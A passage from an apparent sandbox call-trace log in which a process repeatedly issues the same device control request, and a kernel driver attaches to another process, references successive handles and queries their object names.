(Object=0xfffffa80030fdb30) returned 0x100 [0121.656] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.656] ObfDereferenceObject (Object=0xfffffa8003121070) returned 0x12 [0121.656] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.656] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.656] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd4, lpOverlapped=0x0) returned 1 [0121.656] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.656] PsAcquireProcessExitSynchronization () returned 0x0 [0121.656] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.656] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003121270, HandleInformation=0x0) returned 0x0 [0121.657] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.657] PsReleaseProcessExitSynchronization () returned 0x2 [0121.657] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.657] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.657] ObfDereferenceObject (Object=0xfffffa8003121270) returned 0x13 [0121.657] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.657] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.657] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0121.657] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.657] PsAcquireProcessExitSynchronization () returned 0x0 [0121.657] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.657] ObReferenceObjectByHandle (in: Handle=0x458, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003247400, HandleInformation=0x0) returned 0x0 [0121.657] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.657] PsReleaseProcessExitSynchronization () returned 0x2 [0121.657] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.657] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.657] ObfDereferenceObject (Object=0xfffffa8003247400) returned 0x12 [0121.657] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.657] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.657] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.657] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0121.657] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.657] PsAcquireProcessExitSynchronization () returned 0x0 [0121.657] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.657] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f71820, HandleInformation=0x0) returned 0x0 [0121.657] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.657] PsReleaseProcessExitSynchronization () returned 0x2 [0121.657] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.657] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.658] ObfDereferenceObject (Object=0xfffffa8002f71820) returned 0x21 [0121.658] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.658] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.658] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0121.658] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.658] PsAcquireProcessExitSynchronization () returned 0x0 [0121.658] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.658] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032488b0, HandleInformation=0x0) returned 0x0 [0121.658] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.658] PsReleaseProcessExitSynchronization () returned 0x2 [0121.658] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.658] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.658] ObfDereferenceObject (Object=0xfffffa80032488b0) returned 0x12 [0121.658] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.658] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.658] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0121.658] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.658] PsAcquireProcessExitSynchronization () returned 0x0 [0121.658] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.658] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003261a90, HandleInformation=0x0) returned 0x0 [0121.658] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.658] PsReleaseProcessExitSynchronization () returned 0x2 [0121.658] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.658] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.658] ObfDereferenceObject (Object=0xfffffa8003261a90) returned 0x13 [0121.658] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.658] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.658] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.658] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0121.659] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.659] PsAcquireProcessExitSynchronization () returned 0x0 [0121.659] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.659] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003279070, HandleInformation=0x0) returned 0x0 [0121.659] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.659] PsReleaseProcessExitSynchronization () returned 0x2 [0121.659] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.659] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.659] ObfDereferenceObject (Object=0xfffffa8003279070) returned 0x12 [0121.659] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.659] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.659] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0121.659] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.659] PsAcquireProcessExitSynchronization () returned 0x0 [0121.659] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.659] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003278890, HandleInformation=0x0) returned 0x0 [0121.659] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.659] PsReleaseProcessExitSynchronization () returned 0x2 [0121.659] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.659] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.659] ObfDereferenceObject (Object=0xfffffa8003278890) returned 0x13 [0121.659] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.659] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.659] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.659] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0121.659] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.659] PsAcquireProcessExitSynchronization () returned 0x0 [0121.659] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.659] ObReferenceObjectByHandle (in: Handle=0x4d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003308a80, HandleInformation=0x0) returned 0x0 [0121.659] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.660] PsReleaseProcessExitSynchronization () returned 0x2 [0121.660] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.660] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.660] ObfDereferenceObject (Object=0xfffffa8003308a80) returned 0x12 [0121.660] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.660] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.660] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0121.660] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.660] PsAcquireProcessExitSynchronization () returned 0x0 [0121.660] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.660] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f853c0, HandleInformation=0x0) returned 0x0 [0121.660] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.660] PsReleaseProcessExitSynchronization () returned 0x2 [0121.660] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.660] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0121.660] ObfDereferenceObject (Object=0xfffffa8002f853c0) returned 0x12 [0121.660] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.660] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.660] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.660] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0121.660] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.660] PsAcquireProcessExitSynchronization () returned 0x0 [0121.660] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.660] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032f2ac0, HandleInformation=0x0) returned 0x0 [0121.660] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.660] PsReleaseProcessExitSynchronization () returned 0x2 [0121.660] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.660] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0121.660] ObfDereferenceObject (Object=0xfffffa80032f2ac0) returned 0x12 [0121.660] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.660] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.661] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0121.661] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.661] PsAcquireProcessExitSynchronization () returned 0x0 [0121.661] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.661] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032f5650, HandleInformation=0x0) returned 0x0 [0121.661] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.661] PsReleaseProcessExitSynchronization () returned 0x2 [0121.661] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.661] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.661] ObfDereferenceObject (Object=0xfffffa80032f5650) returned 0x12 [0121.661] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.661] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.661] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xfe, lpOverlapped=0x0) returned 1 [0121.661] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.661] PsAcquireProcessExitSynchronization () returned 0x0 [0121.661] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.661] ObReferenceObjectByHandle (in: Handle=0x4f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003309490, HandleInformation=0x0) returned 0x0 [0121.661] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.661] PsReleaseProcessExitSynchronization () returned 0x2 [0121.661] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.661] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.661] ObfDereferenceObject (Object=0xfffffa8003309490) returned 0x12 [0121.661] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.661] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.661] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.661] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x11a, lpOverlapped=0x0) returned 1 [0121.661] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.661] PsAcquireProcessExitSynchronization () returned 0x0 [0121.661] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.661] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032cf510, HandleInformation=0x0) returned 0x0 [0121.662] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.662] PsReleaseProcessExitSynchronization () returned 0x2 [0121.662] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.662] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.662] ObfDereferenceObject (Object=0xfffffa80032cf510) returned 0x12 [0121.662] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.662] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.662] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0121.662] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.662] PsAcquireProcessExitSynchronization () returned 0x0 [0121.662] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.662] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80028daaa0, HandleInformation=0x0) returned 0x0 [0121.662] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.662] PsReleaseProcessExitSynchronization () returned 0x2 [0121.662] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.662] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.662] ObfDereferenceObject (Object=0xfffffa80028daaa0) returned 0x12 [0121.662] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.662] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.662] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xc4, lpOverlapped=0x0) returned 1 [0121.662] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.662] PsAcquireProcessExitSynchronization () returned 0x0 [0121.662] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.662] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034da620, HandleInformation=0x0) returned 0x0 [0121.662] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.662] PsReleaseProcessExitSynchronization () returned 0x2 [0121.662] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.662] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.662] ObfDereferenceObject (Object=0xfffffa80034da620) returned 0x12 [0121.662] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.663] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, 